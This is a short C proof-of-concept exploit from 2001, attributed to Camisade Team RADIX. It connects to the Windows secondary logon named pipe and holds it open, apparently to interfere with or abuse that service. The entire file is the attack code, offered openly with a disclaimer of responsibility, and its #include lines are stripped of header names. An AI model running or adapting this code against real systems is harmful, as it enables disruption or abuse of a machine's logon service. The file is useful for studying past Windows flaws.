// radix1112200103.c - Camisade - Team RADIX - 11-12-2001 // // Camisade (www.camisade.com) is not responsible for the use or // misuse of this proof of concept source code. #define WIN32_LEAN_AND_MEAN #define UNICODE #define _UNICODE #include #include #include #include #define SECLOGON_PIPE _T("\\\\.\\pipe\\secondarylogon") void main() { HANDLE hPipe; hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); if (hPipe == INVALID_HANDLE_VALUE) { printf("Unable to open pipe, error %d\n", GetLastError()); return; } printf("Connected to pipe. Press any key to disconnect.\n"); getche(); CloseHandle(hPipe); }